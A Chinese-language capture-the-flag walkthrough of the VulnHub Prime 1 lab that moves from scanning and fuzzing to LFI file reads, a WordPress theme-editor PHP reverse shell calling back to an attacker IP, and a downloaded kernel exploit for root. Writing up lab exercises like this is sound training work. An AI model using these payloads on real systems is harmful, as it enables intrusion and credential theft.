红队打靶:VulnHub:Prime1打靶思路
本文详细记录了一次完整的渗透测试过程。首先通过nmap扫描发现目标主机开放80端口,使用dirb目录扫描发现WordPress路径。随后通过模糊测试找到本地文件包含漏洞,成功读取系统文件获取用户名和密码。利用WPScan枚举用户后,成功登录WordPress后台,通过主题编辑器漏洞上传反弹shell获取初始访问权限。最后通过内核漏洞提权获取root权限。整个过程展示了从信息收集、漏洞发现到权限提升
靶场简介
Prime 1 是 VulHub 中的一台用于 OSCP 考试练习的靶机,本靶机的通关目标如下:
1.User Flag => 拿到用户级别的 Flag。
2.Root Flag => 拿到管理员级别的 Flag。
环境搭建
靶机下载:https://download.vulnhub.com/prime/Prime_Series_Level-1.rar
靶机下载后直接打开就可以了
信息收集
ip address #查看本机ip地址

主机存活探测
使用nmap探测内网存活主机
sudo nmap -sn 192.168.109.0/24 // -sn 只进行主机存活扫描,不进行端口扫描

根据对自己靶机的了解,ip为192.168.109.151的为靶机地址
端口扫描
sudo nmap -p- 192.168.109.151 -oN ports.txt // -p- 扫描所有 65535 个 TCP 端口;-oN 正常格式输出

靶机只开放了22和80端口,后续重点必然放在80端口上了,接下来先进行详细信息扫描
详细信息扫描
sudo nmap -sT -sV -O -p22,80 192.168.109.151 -oN detailed.txt
-sT: TCP 连接扫描,进行完整的 TCP 连接(握手)-sV: 版本检测,尝试确定服务版本,识别运行的应用程序和其版本号。-O: 操作系统检测,尝试识别目标主机的操作系统,但依赖于开放和关闭端口的情况。-p22,80: 指定扫描的端口,只扫描 22(SSH)和 80(HTTP)端口。-oN detailed.txt: 将输出以正常形式保存到detailed.txt文件中。

默认脚本扫描
sudo nmap --script=vuln -p22,80 --min-rate 10000 192.168.109.151 -oN vuln.txt // --min-rate 10000 以最低10000的速率进行扫描

- http-enum: 看到有对站点的枚举,文本中提到 /wordpress/ 路径以及 WordPress 登录页(/wordpress/wp-login.php)等信息,说明目标站点似乎在使用 WordPress。
- 我们后续可以借助 WPScan进行 WordPress 的版本检测、插件枚举和已知漏洞检查。
web渗透
通过前面端口扫描发现开放了80端口,直接浏览器访问80端口界面

页面非常干净,只有一张图片,查看源代码也没有发现什么

接下来进行目录扫描看看是否有信息暴露
目录扫描
使用dirb对目标进行目录扫描
dirb http://192.168.109.151

可以看到这条高亮的url我们是比较感兴趣的,访问看看有什么信息

并没有什么有效信息,告诉我们正处于初始阶段,需要我们借助工具非常努力的深挖web。
-----------------------------------------------------------------------------------------------------
上面目录扫描也扫出了wordpress路径

页面收集到一个victor用户名,后续可能在登录管理员后台会用到

第一轮目录扫描下来没有太多信息,下面我们用dirb指定扩展名再进行扫描一次
dirb http://192.168.109.151 -X .php,.txt,.zip // -X 指定扩展名扫描

扫描到两个php页面和一个txt文件,index.php应该就是我们当前的wordpress界面,首先关注到的应该就是这个secret.txt路径,使用curl访问
curl http://192.168.109.151/secret.txt

模糊测试(fuzzing)
- 作者让我们对找到的每一个 PHP 页面做更多的模糊测试(fuzzing),如果找到任意正确的参数用localtion.txt进行下一步行动,如果不会用fuzz的可以参考他所给的链接。
- 我们上面扫描出了两个php页面,那我们下面对两个php页面进行模糊测试
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.109.151/image.php?FUZZ=some

结果太多,我们用--hw参数来过滤单词数为12的响应
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.109.151/image.php?FUZZ=some

没有筛选出我们想要的结果,使用--hh参数来过滤字符为147的响应也没有得到结果

那么我们换index.php路径进行模糊测试看看,因为作者也说让我们在发现的每一个php页面中进行测试。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.109.151/index.php?FUZZ=some

我们用--hw参数来过滤单词数为12的响应

可以看到过滤后得到了我们想要的结果,接下来用作者给我们的提示进行下一步操作
curl http://192.168.109.151?file=location.txt

作者说我们找到了正确的参数,接下来使用'secrettier360'参数在另一个php页面进行操作,那接下来就是在image.php页面下进行操作。
我们用image.php页面进行fuzzing

为了简洁这里省略了初步模糊测试的结果,直接添加过滤参数得到dev路径
curl http://192.168.109.151/image.php?secrettier360=dev

这里提示说我们终于找到了正确的参数,注意到这个路径是一个本地文件包含漏洞点,尝试读取/etc/password
curl http://192.168.109.151/image.php?secrettier360=../../../../../../../../etc/passwd

整合出三个关键信息
sync:x:4:65534:sync:/bin:/bin/sync
victor:x:1000:1000:victor,,,:/home/victor:/bin/bash
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
尝试读取password.txt文件
curl http://192.168.109.151/image.php?secrettier360=../../../../../../../../home/saket/password.txt

得到一个密码 follow_the_ippsec
得到密码后接下来我们寻找站点用户名尝试管理员登陆爆破,前面我们得到一个victor用户名,下面我们用工具进行枚举用户
wpscan枚举用户
wpscan --url http://192.168.109.151/wordpress/ -e u // -e u 枚举(enumerate)用户(users)
这是一个 WPScan 工具的命令,用于扫描 WordPress 站点并枚举用户。

得到victor用户
wordpress cms渗透

我们使用 victor :: follow_the_ippsec 凭据成功登陆进了管理员后台

进到后台后我们尝试寻找文件上传和代码执行的位置,在简单翻找后我们找到主题编辑器这个漏洞点

在secret.php文件中发现我们有读写的权限,尝试写入反弹shell 同时在kali上进行监听443端口
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.109.130/443 0>&1'");?>


- 显示编辑成功,接下来就是寻找secret.php文件的路径
- 前面通过wpscan的扫描,我们得到了该cms使用的主题路径

http://192.168.109.151/wordpress/wp-content/themes/twentynineteen/secret.php
我们访问该目录下的secret.php看看是否有回显结果

成功拿到shell
提权
# 1. 确认当前用户
whoami
# 2. 查看系统信息寻找内核漏洞
uname -a
# 3. 查看用户权限
id
# 4. 检查是否有sudo权限
sudo -l

- 发现我们可以无密码以 root 权限执行 /home/saket/enc
- 先看看home目录下有什么信息存在

进victor的路径看看
cd victor
ls

没有权限访问,那下面进saket的路径看看还有没有其他信息

- 查看enc我们发现并没有权限访问

- 还有有两个文本文件,试试能否读取,不出意外的user.txt应该就是对于靶机我们要拿到的其中一个用户flag
cat password.txt
cat user.txt

密码和我们前面所利用文件包含得到的密码相同,没错,我们成功拿到了用户级的flag,接下来尝试进一步提取拿到root级的flag。
内核漏洞提权
通过初步拿到shell后的简单信息收集,得知该系统为Linux ubuntu 4.10.0-28-generic,我们尝试寻找是否存在内核漏洞进行下一步提权
searchsploit ubuntu 4.10.0-28 //searchsploit是kali自带的数据库搜索工具

可以看到45010.c的poc文件所可利用的版本范围符合我们当前ubuntu所在的版本,将它下载下来
searchsploit ubuntu 4.10.0-28 -m 45010.c // -m 下载单个文件

下载成功,接下来我们想办法将文件传到靶机中,使用 Python HTTP 服务器。
python3 -m http.server 8000 //在攻击机中存放45010.c文件的路径下使用
- 在靶机中我们先进入到/tmp目录,选择/tmp目录是因为这个目录的权限比较方便设置
- 在tmp目录下下载45010.c文件
wget http://192.168.109.130:8000/45010.c

gcc 45010.c -o exploit //编译exploit
chmod +x exploit //赋予权限
./exploit //执行exploit

验证提权成功
id
whoami

由于交互性不太好,我们用python获得一个完全交互式的 shell
python -c 'import pty;pty.spawn("/bin/bash")'
![]()
- 接下来就是查看root的flag,应该就在/root目录下
- 进到/root目录下看到有root.txt文件,不出意外应该就是最后一个root级的flag,读取查看
cd /root
ls

cat root.txt

没错,我们成功拿下这台靶机的所有flag
总结与思考
这台靶机考察了我们的信息收集和分析能力的基本功,全程下来有着按图索骥的感觉,中间涉及模糊测试、wordpress利用,对我们的渗透思路有一个很好帮助,可惜的是后面所涉及到的/home/saket/enc文件没有利用到,并没有继续深挖下去。
总结一下整个打靶思路:
1.主机发现与端口扫描发现开放22,80端口,对其进行默认脚本扫描后发现/wordpress路径,与后面进行目录扫描得到的路径一样,那么我们后续的进攻方向大概是围绕该cms进行攻击。
2.目录爆破:发现提示文件让我们深挖目录,通过指定扩展名.php,.txt.zip继续目录扫描找到了secret.txt和两个php页面,secret.txt提示我们在每一个php页面上进行模糊测试。
3.模糊测试:用wfuzz工具对image.php和index.php页面进行模糊测试,最后找到了secrettier360参数。
4.文件包含利用:提示说我们终于找到了正确的参数,注意到该路径是一个本地文件包含漏洞点,尝试读取/etc/password,成功看到信息,整合出了三个关键信息,看到了有关/home/saket/passord.txt的提示,拿到了一个密码。
5.wordpress渗透:在拿到密码后通过首页面上的用户再结合wpscan枚举用户后所得到的victor用户,尝试后台登录wordpress,登陆成功后寻找文件上传和代码执行的漏洞点,最后在主题编辑器中的secret.php页面下发现存在读写权限,写入php反弹shell的payload后结合wpscan所扫描出的信息得到了secret.php路径,成功拿到了www-data的shell。
6.提权:根据提示在/home/saket的目录下拿到了一个用户级的flag,后面在搜寻版本漏洞的时候成功利用内核漏洞提权拿到root级flag
更多推荐
所有评论(0)